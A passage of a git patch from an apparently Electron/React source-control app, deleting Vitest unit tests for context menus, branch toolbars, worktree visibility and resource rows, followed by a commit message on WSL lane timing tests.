-}) diff --git a/src/renderer/src/components/right-sidebar/source-control-entry-context-menu.test.tsx b/src/renderer/src/components/right-sidebar/source-control-entry-context-menu.test.tsx deleted file mode 100644 index 7d1a729a122..00000000000 --- a/src/renderer/src/components/right-sidebar/source-control-entry-context-menu.test.tsx +++ /dev/null @@ -1,241 +0,0 @@ -import React from 'react' -import { renderToStaticMarkup } from 'react-dom/server' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { OpenInApplication } from '../../../../shared/ui-chrome-types' -import { SourceControlEntryContextMenu } from './source-control/listing/entry-context-menu' - -type ItemProps = { onSelect?: () => void; disabled?: boolean; children?: React.ReactNode } - -const items = vi.hoisted(() => ({ list: [] as ItemProps[] })) -const storeState = vi.hoisted( - (): { - settings: { - openInApplications: OpenInApplication[] - activeRuntimeEnvironmentId: string | null - } - worktreesByRepo: Record - } => ({ - settings: { openInApplications: [], activeRuntimeEnvironmentId: null }, - worktreesByRepo: { 'repo-1': [{ id: 'worktree-1', repoId: 'repo-1', hostId: 'local' }] } - }) -) -const ownerRuntime = vi.hoisted((): { environmentId: string | null } => ({ environmentId: null })) -const revealInFileManager = vi.hoisted(() => vi.fn()) -const openWorktreePath = vi.hoisted(() => vi.fn()) - -vi.mock('@/components/ui/context-menu', async () => { - const React_ = await import('react') - const passthrough = ({ children }: { children?: React.ReactNode }) => - React_.createElement(React_.Fragment, null, children) - - return { - ContextMenu: passthrough, - ContextMenuContent: passthrough, - ContextMenuItem: (props: ItemProps) => { - items.list.push(props) - return React_.createElement(React_.Fragment, null, props.children) - }, - ContextMenuSeparator: () => null, - ContextMenuSub: passthrough, - ContextMenuSubContent: passthrough, - ContextMenuSubTrigger: passthrough, - ContextMenuTrigger: passthrough - } -}) - -vi.mock('@/store', () => ({ - useAppStore: (selector: (state: typeof storeState) => unknown) => selector(storeState) -})) - -vi.mock('@/lib/worktree-runtime-owner', () => ({ - runtimeEnvironmentIdOrLocalUnlessTwin: () => ownerRuntime.environmentId -})) - -vi.mock(import('@/lib/reveal-in-file-manager'), async (importOriginal) => ({ - ...(await importOriginal()), - getRevealInFileManagerLabel: () => 'Reveal in Finder', - revealInFileManager -})) - -vi.mock('@/i18n/i18n', () => ({ - translate: (_key: string, fallback: string) => fallback -})) - -vi.mock('@/lib/open-in-app-catalog', () => ({ - OpenInApplicationIcon: () => null -})) - -vi.mock('@/components/sidebar/WorktreeOpenInMenu', async () => { - const { getExternalEditorOpenCapability } = await import('@/lib/external-editor-open-capability') - return { - getOpenInEntryAvailability: ( - entry: { command?: string }, - connectionId?: string | null, - runtimeEnvironmentId?: string | null - ) => ({ - disabled: !getExternalEditorOpenCapability({ - command: entry.command, - connectionId, - runtimeEnvironmentId - }).allowed - }), - openOpenInAppsSettings: vi.fn(), - openWorktreePath - } -}) - -function childrenText(children: React.ReactNode): string { - return React.Children.toArray(children) - .map((child) => { - if (typeof child === 'string') { - return child - } - return React.isValidElement<{ children?: React.ReactNode }>(child) - ? childrenText(child.props.children) - : '' - }) - .join('') -} - -function showsLocalOnlyHint(item: ItemProps | undefined): boolean { - return renderToStaticMarkup(<>{item?.children}).includes('Local only') -} - -function renderMenu(props: { connectionId?: string; hasWorkingTreeFile?: boolean } = {}): void { - renderToStaticMarkup( - -
- - ) -} - -function renderRevealItem(props?: Parameters[0]): ItemProps | undefined { - renderMenu(props) - return items.list.find((item) => childrenText(item.children) === 'Reveal in Finder') -} - -describe('SourceControlEntryContextMenu', () => { - const writeClipboardText = vi.fn() - - beforeEach(() => { - items.list = [] - storeState.settings.activeRuntimeEnvironmentId = null - storeState.settings.openInApplications = [] - storeState.worktreesByRepo = { - 'repo-1': [{ id: 'worktree-1', repoId: 'repo-1', hostId: 'local' }] - } - ownerRuntime.environmentId = null - revealInFileManager.mockReset() - openWorktreePath.mockReset() - writeClipboardText.mockReset() - vi.stubGlobal('window', { - api: { ui: { writeClipboardText } } - }) - }) - - afterEach(() => { - vi.unstubAllGlobals() - }) - - it('copies the supplied relative path', () => { - renderMenu() - - const copyRelativePathItem = items.list.find( - (item) => childrenText(item.children) === 'Copy Relative Path' - ) - - expect(copyRelativePathItem).toBeDefined() - copyRelativePathItem?.onSelect?.() - expect(writeClipboardText).toHaveBeenCalledWith('src/example.ts') - }) - - it('reveals the changed file in the OS file manager (issue #24003)', () => { - const revealItem = renderRevealItem() - - expect(revealItem?.disabled).toBe(false) - expect(showsLocalOnlyHint(revealItem)).toBe(false) - revealItem?.onSelect?.() - expect(revealInFileManager).toHaveBeenCalledWith('/repo/src/example.ts', 'local') - }) - - it('reveals a local repo file while a remote server is focused', () => { - storeState.settings.activeRuntimeEnvironmentId = 'env-1' - - expect(renderRevealItem()?.disabled).toBe(false) - }) - - it('offers the file manager once, outside the "Open in" apps', () => { - storeState.settings.openInApplications = [{ id: 'zed', label: 'Zed', command: 'zed' }] - - renderMenu() - - const labels = items.list.map((item) => childrenText(item.children)) - expect(labels).toContain('Zed') - expect(labels).not.toContain('Finder') - expect(labels.filter((label) => label === 'Reveal in Finder')).toHaveLength(1) - }) - - it('uses the target owner for editor availability and click dispatch while focus is local', () => { - ownerRuntime.environmentId = 'env-2' - storeState.settings.openInApplications = [{ id: 'zed', label: 'Zed', command: 'zed' }] - renderMenu() - - const editorItem = items.list.find((item) => childrenText(item.children) === 'Zed') - expect(editorItem?.disabled).toBe(true) - editorItem?.onSelect?.() - expect(openWorktreePath).toHaveBeenCalledWith({ - target: 'external-editor', - worktreePath: '/repo/src/example.ts', - connectionId: null, - runtimeEnvironmentId: 'env-2', - ownerUnresolved: false, - workspace: { workspaceId: 'worktree-1' }, - command: 'zed' - }) - }) - - it('routes a repo the catalog places on an SSH host there, even with no connection prop', () => { - storeState.worktreesByRepo = { - 'repo-1': [{ id: 'worktree-1', repoId: 'repo-1', hostId: 'ssh:ssh-9' }] - } - storeState.settings.activeRuntimeEnvironmentId = 'env-1' - storeState.settings.openInApplications = [{ id: 'code', label: 'Code', command: 'code' }] - - const revealItem = renderRevealItem() - expect(revealItem?.disabled).toBe(true) - items.list.find((item) => childrenText(item.children) === 'Code')?.onSelect?.() - expect(openWorktreePath).toHaveBeenCalledWith( - expect.objectContaining({ connectionId: 'ssh-9', runtimeEnvironmentId: null }) - ) - }) - - it('disables reveal, with no reason, for a deleted file', () => { - const revealItem = renderRevealItem({ hasWorkingTreeFile: false }) - - expect(revealItem?.disabled).toBe(true) - expect(showsLocalOnlyHint(revealItem)).toBe(false) - }) - - it('disables reveal as local-only for a repo on an SSH host', () => { - const revealItem = renderRevealItem({ connectionId: 'ssh-1' }) - - expect(revealItem?.disabled).toBe(true) - expect(showsLocalOnlyHint(revealItem)).toBe(true) - }) - - it('disables reveal as local-only for a repo owned by a runtime that is not the focused one', () => { - ownerRuntime.environmentId = 'env-2' - - const revealItem = renderRevealItem() - - expect(revealItem?.disabled).toBe(true) - expect(showsLocalOnlyHint(revealItem)).toBe(true) - }) -}) diff --git a/src/renderer/src/components/right-sidebar/source-control-header-toolbar-identity.test.tsx b/src/renderer/src/components/right-sidebar/source-control-header-toolbar-identity.test.tsx deleted file mode 100644 index 1b267af4c9f..00000000000 --- a/src/renderer/src/components/right-sidebar/source-control-header-toolbar-identity.test.tsx +++ /dev/null @@ -1,178 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import type { ReactNode } from 'react' -import { describe, expect, it, vi } from 'vitest' -import { SourceControlHeaderToolbar } from './source-control/panel/header-toolbar' -import type { GitBranchCompareSummary } from '../../../../shared/git-diff-compare-types' -import type { GitBranchLineTotal } from '../../../../shared/git-status-types' -import type { HostedReviewInfo } from '../../../../shared/hosted-review' -import type { WorktreeGitIdentityDisplay } from '../../../../shared/worktree/git-identity-display' -import type { PrimaryAction } from './source-control-primary-action' - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: ReactNode }) => <>{children} -})) - -vi.mock('./source-control/panel/header-overflow-menu', () => ({ - SourceControlHeaderOverflowMenu: () => -})) - -const CREATE_PR_ACTION: PrimaryAction = { - kind: 'create_pr', - label: 'Create PR', - title: 'Create a pull request', - disabled: false -} - -const readySummary: GitBranchCompareSummary = { - baseRef: 'origin/main', - baseOid: 'base', - compareRef: 'feature', - headOid: 'head', - mergeBase: 'base', - changedFiles: 0, - commitsAhead: 1, - status: 'ready' -} - -function renderToolbar(options?: { - headDisplay?: WorktreeGitIdentityDisplay | null - branchSummary?: GitBranchCompareSummary | null - compareBaseRef?: string | null - branchLineTotal?: GitBranchLineTotal | null - visibleCreatePrHeaderAction?: PrimaryAction | null - hostedReview?: HostedReviewInfo | null - suppressedGitHubPRNumber?: number | null -}): string { - return renderToStaticMarkup( - - ) -} - -describe('SourceControlHeaderToolbar branch identity', () => { - it('shows the relink recovery instead of blank chrome for a matched unlinked PR', () => { - const markup = renderToolbar({ - visibleCreatePrHeaderAction: null, - suppressedGitHubPRNumber: 42 - }) - - expect(markup).toContain('PR #42 unlinked') - expect(markup).toContain('Link PR #42') - expect(markup).not.toContain('Create PR') - }) - - it('keeps the relink recovery ahead of transient Create PR loading chrome', () => { - const markup = renderToolbar({ - visibleCreatePrHeaderAction: { - ...CREATE_PR_ACTION, - title: 'Checking whether this branch can create a pull request…', - disabled: true - }, - suppressedGitHubPRNumber: 42 - }) - - expect(markup).toContain('Link PR #42') - expect(markup).not.toContain('Create PR') - expect(markup).not.toContain('Checking whether') - }) - - it('keeps Create PR while stacking head above base in the context row', () => { - const markup = renderToolbar() - const branchIndex = markup.indexOf('brennanb2025/source-control-branch-name') - const createPrIndex = markup.indexOf('Create PR') - - expect(branchIndex).toBeGreaterThan(-1) - expect(createPrIndex).toBeGreaterThan(-1) - expect(markup).toContain('aria-label="brennanb2025/source-control-branch-name → origin/main"') - expect(markup).toContain('aria-label="Current branch: brennanb2025/source-control-branch-name"') - expect(markup).toContain('data-testid="source-control-head-identity"') - }) - - it('shows head-only identity with Create PR when no compare base is configured', () => { - const markup = renderToolbar({ - branchSummary: null, - compareBaseRef: null, - headDisplay: { kind: 'branch', branchName: 'local-only-branch' } - }) - - expect(markup).toContain('Create PR') - expect(markup).toContain('data-testid="source-control-head-identity"') - expect(markup).toContain('local-only-branch') - expect(markup).not.toContain('→') - }) - - it('renders detached HEAD with Create PR when compare base is present', () => { - const markup = renderToolbar({ - headDisplay: { - kind: 'detached', - shortHead: '8cec248', - sidebarLabel: 'Detached HEAD @ 8cec248', - sourceControlLabel: 'Detached HEAD · 8cec248', - tooltip: 'Detached HEAD at 8cec248. You are viewing a commit, not a branch.' - } - }) - - expect(markup).toContain('Detached HEAD · 8cec248') - expect(markup).toContain('tabindex="0"') - expect(markup).toContain('Create PR') - expect(markup).toContain('aria-label="Detached HEAD · 8cec248 → origin/main"') - }) - - it('omits identity chrome when there is no git identity and no base', () => { - const markup = renderToolbar({ - headDisplay: null, - branchSummary: null, - compareBaseRef: null - }) - - expect(markup).not.toContain('data-testid="source-control-head-identity"') - expect(markup).not.toContain('→') - expect(markup).toContain('Create PR') - }) - - it('threads the branch line total down to the base-ref line', () => { - const markup = renderToolbar({ branchLineTotal: { added: 24, removed: 3, mergeBase: 'base' } }) - - expect(markup).toContain('aria-label="24 lines added, 3 lines deleted"') - expect(markup).toContain('+24') - expect(markup).toContain('-3') - }) - - it('renders exactly as before when no branch line total is supplied', () => { - expect(renderToolbar()).not.toContain('data-testid="source-control-branch-line-total"') - }) -}) diff --git a/src/renderer/src/components/right-sidebar/source-control-split-open.test.ts b/src/renderer/src/components/right-sidebar/source-control-split-open.test.ts deleted file mode 100644 index 15f6f3e90e9..00000000000 --- a/src/renderer/src/components/right-sidebar/source-control-split-open.test.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - isSourceControlSplitOpenModifier, - shouldOpenSourceControlRowAsPreview, - toPermanentSourceControlRowOpenEvent, - type SourceControlRowOpenEvent -} from './source-control/listing/split-open' - -function event(overrides: Partial = {}): SourceControlRowOpenEvent { - return { - altKey: false, - ctrlKey: false, - metaKey: false, - shiftKey: false, - ...overrides - } -} - -describe('isSourceControlSplitOpenModifier', () => { - it('uses Cmd on macOS and Ctrl elsewhere as the platform primary modifier', () => { - expect(isSourceControlSplitOpenModifier(event({ metaKey: true }), true)).toBe(true) - expect(isSourceControlSplitOpenModifier(event({ ctrlKey: true }), true)).toBe(false) - - expect(isSourceControlSplitOpenModifier(event({ ctrlKey: true }), false)).toBe(true) - expect(isSourceControlSplitOpenModifier(event({ metaKey: true }), false)).toBe(false) - }) - - it('treats Shift and Alt/Option as split-open modifiers', () => { - expect(isSourceControlSplitOpenModifier(event({ shiftKey: true }), true)).toBe(true) - expect(isSourceControlSplitOpenModifier(event({ altKey: true }), false)).toBe(true) - }) - - it('ignores a plain click', () => { - expect(isSourceControlSplitOpenModifier(event(), true)).toBe(false) - expect(isSourceControlSplitOpenModifier(event(), false)).toBe(false) - }) -}) - -describe('shouldOpenSourceControlRowAsPreview', () => { - it('uses preview for plain row opens in the current group', () => { - expect(shouldOpenSourceControlRowAsPreview(event(), undefined)).toBe(true) - }) - - it('does not preview when opening into a split group', () => { - expect(shouldOpenSourceControlRowAsPreview(event(), 'group-2')).toBe(false) - }) - - it('does not preview when the row requests a permanent open', () => { - expect(shouldOpenSourceControlRowAsPreview(event({ openAsPermanent: true }), undefined)).toBe( - false - ) - }) -}) - -describe('toPermanentSourceControlRowOpenEvent', () => { - it('preserves modifier keys and marks the row open as permanent', () => { - expect( - toPermanentSourceControlRowOpenEvent( - event({ - altKey: true, - metaKey: true - }) - ) - ).toEqual({ - altKey: true, - ctrlKey: false, - metaKey: true, - shiftKey: false, - openAsPermanent: true - }) - }) -}) diff --git a/src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts b/src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts deleted file mode 100644 index ad22d49f74d..00000000000 --- a/src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts +++ /dev/null @@ -1,129 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import type { WorktreeVisibilityDefaults } from '../../../../shared/global-settings-types' -import type { Repo } from '../../../../shared/repo-types' - -vi.mock('@/i18n/i18n', () => ({ - translate: (_key: string, fallback: string, values?: Record) => - values - ? fallback.replace(/\{\{(\w+)\}\}/g, (_match, name: string) => String(values[name] ?? '')) - : fallback -})) - -const { - getWorktreeVisibilityOverrideNotice, - getWorktreeVisibilitySourceNote, - getWorktreeVisibilitySourceProvenance, - listInheritedWorktreeVisibilitySources -} = await import('./worktree-visibility-source-provenance') - -function repo(overrides: Partial = {}): Repo { - return { - id: 'repo-1', - path: '/repo', - displayName: 'orca', - badgeColor: '#000000', - addedAt: 0, - externalWorktreeVisibility: undefined, - ...overrides - } -} - -const shownClaude: WorktreeVisibilityDefaults = { - external: 'hide', - sourcePreferences: { builtIn: { claude: 'show' } } -} - -const NO_REPO_SOURCES: ReadonlySet = new Set() - -function provenanceFor(target: Repo, defaults: WorktreeVisibilityDefaults) { - return getWorktreeVisibilitySourceProvenance( - target, - { kind: 'built-in', id: 'claude' }, - defaults, - NO_REPO_SOURCES - ) -} - -describe('listInheritedWorktreeVisibilitySources', () => { - it('reports what each inheritable source is set to globally', () => { - expect(listInheritedWorktreeVisibilitySources(repo(), shownClaude)).toEqual([ - { source: { kind: 'built-in', id: 'claude' }, globalVisibility: 'show' }, - { source: { kind: 'built-in', id: 'gsd' }, globalVisibility: 'hide' }, - { source: { kind: 'other' }, globalVisibility: 'hide' } - ]) - }) - - it('keeps a source the project has overridden, since global is what it overrode', () => { - const overridden = listInheritedWorktreeVisibilitySources( - repo({ worktreeVisibilitySourcePreferences: { builtIn: { claude: 'hide' } } }), - shownClaude - ) - expect(overridden[0]).toEqual({ - source: { kind: 'built-in', id: 'claude' }, - globalVisibility: 'show' - }) - }) - - it('lists a global custom source but not one the project added itself', () => { - const listed = listInheritedWorktreeVisibilitySources( - repo({ customWorktreeVisibilitySources: [{ id: 'local', rootPath: '/srv/local' }] }), - { - external: 'hide', - customSources: [{ id: 'team', rootPath: '/srv/team' }], - sourcePreferences: { custom: { team: 'show' } } - } - ) - expect(listed.map(({ source }) => source)).toContainEqual({ - kind: 'custom', - source: { id: 'team', rootPath: '/srv/team' } - }) - expect( - listed.some(({ source }) => source.kind === 'custom' && source.source.id === 'local') - ).toBe(false) - }) -}) - -describe('getWorktreeVisibilityOverrideNotice', () => { - it('names the global value a project override is ignoring', () => { - const provenance = provenanceFor( - repo({ worktreeVisibilitySourcePreferences: { builtIn: { claude: 'hide' } } }), - shownClaude - ) - expect(getWorktreeVisibilityOverrideNotice(provenance, 'hide')).toBe( - 'Overriding global setting: Show' - ) - }) - - it('stays quiet for an override that agrees with global settings', () => { - // Why: a legacy repo materializes an override on every source, most of which change nothing. - const provenance = provenanceFor(repo({ agentWorktreeVisibility: 'show' }), shownClaude) - expect(provenance?.kind).toBe('project-override') - expect(getWorktreeVisibilityOverrideNotice(provenance, 'show')).toBeNull() - }) - - it('stays quiet for a source that is still following global settings', () => { - expect( - getWorktreeVisibilityOverrideNotice(provenanceFor(repo(), shownClaude), 'show') - ).toBeNull() - }) - - it('stays quiet outside a project scope', () => { - expect(getWorktreeVisibilityOverrideNotice(null, 'show')).toBeNull() - }) -}) - -describe('getWorktreeVisibilitySourceNote', () => { - it('marks a source the project added itself', () => { - const provenance = getWorktreeVisibilitySourceProvenance( - repo({ customWorktreeVisibilitySources: [{ id: 'local', rootPath: '/srv/local' }] }), - { kind: 'custom', source: { id: 'local', rootPath: '/srv/local' } }, - { external: 'hide' }, - new Set(['local']) - ) - expect(getWorktreeVisibilitySourceNote(provenance)).toBe('Added in this project only.') - }) - - it('says nothing for an inherited source', () => { - expect(getWorktreeVisibilitySourceNote(provenanceFor(repo(), shownClaude))).toBeNull() - }) -}) diff --git a/src/renderer/src/components/skills/skill-install-provider-groups.test.ts b/src/renderer/src/components/skills/skill-install-provider-groups.test.ts deleted file mode 100644 index be1487e0ba7..00000000000 --- a/src/renderer/src/components/skills/skill-install-provider-groups.test.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { - defaultSelectedSkillProviders, - groupSkillInstallProviders, - skillProviderDirectoryLabel, - toggledSkillProviderSelection -} from './skill-install-provider-groups' - -describe('groupSkillInstallProviders', () => { - it('separates agents that read the canonical root from agents with their own', () => { - const workspace = groupSkillInstallProviders('workspace') - const global = groupSkillInstallProviders('global') - expect(workspace.canonical.map((provider) => provider.id)).toContain('codex') - expect(global.canonical.map((provider) => provider.id)).toContain('codex') - expect(workspace.selectable.map((choice) => choice.provider.id)).toContain('claude') - expect(workspace.selectable.map((choice) => choice.provider.id)).not.toContain('codex') - expect(global.selectable.map((choice) => choice.provider.id)).not.toContain('codex') - }) - - it('moves an agent between the groups when the scope changes', () => { - expect(groupSkillInstallProviders('workspace').canonical.map((p) => p.id)).toContain('cursor') - expect(groupSkillInstallProviders('global').selectable.map((c) => c.provider.id)).toContain( - 'cursor' - ) - }) - - it('labels a directory relative to the scope it is shown under', () => { - expect(skillProviderDirectoryLabel(['.claude', 'skills'], 'workspace')).toBe('.claude/skills') - expect(skillProviderDirectoryLabel(['.claude', 'skills'], 'global')).toBe('~/.claude/skills') - }) -}) - -describe('defaultSelectedSkillProviders', () => { - it('starts with the agents the machine actually has', () => { - const selected = defaultSelectedSkillProviders(['claude', 'codex', 'unrelated-tool']) - expect([...selected]).toEqual(['codex', 'claude']) - }) - - // Unavailable detection is unknown, not proof that no agents are installed. - it('falls back to every agent when detection is unavailable', () => { - const selected = defaultSelectedSkillProviders(null) - expect(selected.has('claude')).toBe(true) - expect(selected.has('aug')).toBe(true) - }) - - it('selects nothing extra when the machine has no known agent', () => { - expect([...defaultSelectedSkillProviders([])]).toEqual([]) - }) - - it('adds and removes one agent at a time', () => { - const withoutClaude = toggledSkillProviderSelection( - defaultSelectedSkillProviders(null), - 'claude', - false - ) - expect(withoutClaude.has('claude')).toBe(false) - expect(withoutClaude.has('codex')).toBe(true) - expect(toggledSkillProviderSelection(withoutClaude, 'claude', true).has('claude')).toBe(true) - }) -}) diff --git a/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx b/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx deleted file mode 100644 index 82dd17915ff..00000000000 --- a/src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx +++ /dev/null @@ -1,177 +0,0 @@ -// @vitest-environment happy-dom - -import React, { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { ORPHAN_WORKTREE_ID } from '../../../../shared/constants' -import type { BrowserWorkspace } from '../../../../shared/browser-workspace-types' -import type { UnifiedSessionRow, UnifiedWorktreeRow } from './resource-usage-merge-types' - -vi.mock('@/store', () => { - const storeState = {} - const useAppStore = Object.assign( - (selector: (state: typeof storeState) => unknown) => selector(storeState), - { getState: () => storeState } - ) - return { useAppStore } -}) - -vi.mock('@/components/ui/tooltip', () => ({ - Tooltip: ({ children }: { children: React.ReactNode }) => <>{children}, - TooltipContent: ({ children }: { children: React.ReactNode }) => <>{children}, - TooltipTrigger: ({ children }: { children: React.ReactNode }) => <>{children} -})) - -vi.mock('@/i18n/i18n', () => ({ - i18n: { language: 'en' }, - translate: (_key: string, fallback: string, values?: Record) => - values - ? Object.entries(values).reduce( - (text, [token, value]) => text.replace(`{{${token}}}`, value), - fallback - ) - : fallback -})) - -vi.mock('sonner', () => ({ - toast: { error: vi.fn(), success: vi.fn() } -})) - -import { WorktreeRow } from './ResourceUsageStatusSegment' - -function makeSession(overrides: Partial): UnifiedSessionRow { - return { - sessionId: 'sess-1', - paneKey: null, - pid: 100, - label: 'zsh', - bound: true, - agentOwnership: 'absent' as const, - tabId: 'tab-1', - cpu: 1, - memory: 100, - hasLocalSamples: true, - ...overrides - } -} - -function makeWorktree(overrides: Partial): UnifiedWorktreeRow { - return { - worktreeId: 'wt-1', - worktreeName: 'feature-branch', - repoId: 'repo-1', - repoName: 'repo', - cpu: 1, - memory: 100, - history: [], - hasLocalSamples: true, - isRemote: false, - sessions: [], - browsers: [], - ...overrides - } -} - -describe('resource manager row presentation', () => { - let container: HTMLDivElement - let root: Root - - afterEach(() => { - act(() => { - root.unmount() - }) - container.remove() - }) - - function renderWorktreeRow(worktree: UnifiedWorktreeRow): void { - container = document.createElement('div') - document.body.appendChild(container) - root = createRoot(container) - act(() => { - root.render( - {}} - onNavigate={() => {}} - onDelete={() => {}} - onKillSession={() => {}} - navigateToTab={() => {}} - /> - ) - }) - } - - it('keeps the remote chip and kill affordances on SSH-backed rows', () => { - renderWorktreeRow( - makeWorktree({ - isRemote: true, - cpu: null, - memory: null, - sessions: [ - makeSession({ sessionId: 'ssh-a', bound: true }), - makeSession({ sessionId: 'ssh-b', bound: false, tabId: null, cpu: null, memory: null }) - ] - }) - ) - - expect(container.textContent).toContain('· remote') - const killButtons = container.querySelectorAll('button[aria-label^="Kill session"]') - expect(killButtons).toHaveLength(2) - expect(container.querySelector('button[aria-label="Kill session ssh-a"]')).not.toBeNull() - expect(container.querySelector('button[aria-label="Kill session ssh-b"]')).not.toBeNull() - }) - - it("names the server and offers no kill on a paired server's own samples", () => { - renderWorktreeRow( - makeWorktree({ - isRemote: true, - hostLabel: 'Lab box', - sessions: [makeSession({ sessionId: 'server-a', bound: false, readOnly: true })] - }) - ) - - expect(container.textContent).toContain('· Lab box') - expect(container.textContent).not.toContain('· remote') - expect(container.querySelector('button[aria-label^="Kill session"]')).toBeNull() - }) - - it('keeps kill affordances on the orphan bucket rows', () => { - renderWorktreeRow( - makeWorktree({ - worktreeId: ORPHAN_WORKTREE_ID, - worktreeName: 'Orphaned terminals', - sessions: [makeSession({ sessionId: 'orphan-a', bound: false, tabId: null })] - }) - ) - - expect(container.querySelector('button[aria-label="Kill session orphan-a"]')).not.toBeNull() - }) - - it('shows browsers as read-only workspace resources', () => { - renderWorktreeRow( - makeWorktree({ - browsers: [ - { - id: 'browser-1', - worktreeId: 'wt-1', - title: 'Orca docs', - url: 'https://docs.orca.dev', - loading: false, - faviconUrl: null, - canGoBack: false, - canGoForward: false, - loadError: null, - createdAt: 1 - } as BrowserWorkspace - ] - }) - ) - - expect(container.textContent).toContain('Orca docs') - expect(container.querySelector('.lucide-globe')).not.toBeNull() - expect(container.querySelector('button[aria-label^="Open browser"]')).toBeNull() - }) -}) diff --git a/src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts b/src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts deleted file mode 100644 index 19f8199cb61..00000000000 --- a/src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts +++ /dev/null @@ -1,132 +0,0 @@ -import { describe, expect, it, afterEach, vi } from 'vitest' -import { TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' -import type { ExecutionHostRegistryEntry } from '../../../../shared/execution-host-registry' -import { - getGitHubProjectSourceSummary, - getTaskSourceHostAvailabilityForHost -} from './task-page-source-context' - -function hostEntry( - overrides: Partial = {} -): ExecutionHostRegistryEntry { - return { - id: 'local', - kind: 'local', - label: 'This Mac', - detail: 'local', - health: 'local', - ...overrides - } -} - -describe('getTaskSourceHostAvailabilityForHost', () => { - it('returns null when there is no host', () => { - expect(getTaskSourceHostAvailabilityForHost(null, 'local')).toBeNull() - }) - - it('reports a runtime still checking capabilities', () => { - const host = hostEntry({ - id: 'runtime:env-1', - kind: 'runtime', - label: 'Env', - health: 'available' - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'runtime:env-1')).toEqual({ - hostId: 'runtime:env-1', - reason: 'checking-task-source-capability' - }) - }) - - it('reports a runtime missing the task-source capability', () => { - const host = hostEntry({ - id: 'runtime:env-1', - kind: 'runtime', - label: 'Env', - health: 'available', - capabilities: [] - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'runtime:env-1')).toEqual({ - hostId: 'runtime:env-1', - reason: 'missing-task-source-capability' - }) - }) - - it('returns null for a healthy runtime that declares the capability', () => { - const host = hostEntry({ - id: 'runtime:env-1', - kind: 'runtime', - label: 'Env', - health: 'available', - capabilities: [TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY] - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'runtime:env-1')).toBeNull() - }) - - it('returns null for a healthy local host', () => { - expect(getTaskSourceHostAvailabilityForHost(hostEntry(), 'local')).toBeNull() - }) - - it('passes through unhealthy host status', () => { - const host = hostEntry({ - id: 'ssh:box', - kind: 'ssh', - label: 'Box', - health: 'disconnected', - connectionStatus: 'disconnected', - capabilities: [TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY] - }) - expect(getTaskSourceHostAvailabilityForHost(host, 'ssh:box')).toEqual({ - hostId: 'ssh:box', - health: 'disconnected', - status: 'disconnected' - }) - }) -}) - -describe('getGitHubProjectSourceSummary', () => { - const runtimeHost = (overrides: Partial) => - hostEntry({ id: 'runtime:env-1', kind: 'runtime', label: 'Build server', ...overrides }) - - it('names the board host, which a capability check alone never marks unavailable', () => { - const summary = getGitHubProjectSourceSummary({ - providerLabel: 'GitHub', - hostId: 'runtime:env-1', - host: runtimeHost({ health: 'available' }), - hostLabelById: new Map([['runtime:env-1', 'Build server']]) - }) - expect(summary.label).toBe('GitHub · Build server · Current account') - }) - - it('says when the board host is unreachable', () => { - const summary = getGitHubProjectSourceSummary({ - providerLabel: 'GitHub', - hostId: 'runtime:env-1', - host: runtimeHost({ - health: 'disconnected', - capabilities: [TASK_SOURCE_CONTEXT_RUNTIME_CAPABILITY] - }), - hostLabelById: new Map([['runtime:env-1', 'Build server']]) - }) - expect(summary.label).toContain('Build server · ') - expect(summary.label).not.toBe('GitHub · Build server · Current account') - }) -}) - -const { rejectAppStoreAccess } = vi.hoisted(() => ({ - rejectAppStoreAccess: vi.fn(() => { - throw new Error('Pure helper tests must not access the app store') - }) -})) - -vi.mock('@/store', () => ({ - useAppStore: Object.assign(rejectAppStoreAccess, { - getState: rejectAppStoreAccess, - getInitialState: rejectAppStoreAccess, - setState: rejectAppStoreAccess, - subscribe: rejectAppStoreAccess - }) -})) - -afterEach(() => { - expect(rejectAppStoreAccess).not.toHaveBeenCalled() -}) From 1bd67185489c66a9e0d841e0134727f171a33764 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Fri, 30 Oct 2026 22:56:53 -0700 Subject: [PATCH 11/47] test(wsl): time the lane's first output without the agent-paste Enter settle (#36598) * test(wsl): time the lane's first output without the agent-paste Enter settle terminal.send with enter:true waits 500 ms before Enter so agent TUIs do not take it as part of a paste; no keystroke pays that, but every lane first-output number did. Send the probe with its Enter inside the text, record time to the shell prompt as its own field, and poll at 25 ms. Stopping orcad now checks the pid's command line names the active slot and tolerates an orcad that already exited. * test(wsl): count only orcad-cold runs that stopped a live orcad A run whose stop found no live orcad for the active slot measured a warm reconnect; keep it out of orcadCold, report how many were attempted, and fail if none stopped one. Rename time-to-prompt to first screen output, since a login banner may come first. * test(wsl): count an already-exited orcad as stopped; name first output plainly stopOrcadKeepingDistro now tells an exited orcad (no pid, or no such process) apart from a live pid whose command line does not name the slot: the first counts as stopped, only the second is excluded from orcadCold and reported as excludedNotStopped. Rename the first-screen field to timeToFirstOutputMs. * test(wsl): count orcad as down only on evidence, never on a missing record GONE now needs a known active slot and a numeric pid file whose process no longer exists; a missing or malformed record answers UNKNOWN, which is not counted as stopped. --- ...rcad-real-distro-idle-release-lane.test.ts | 98 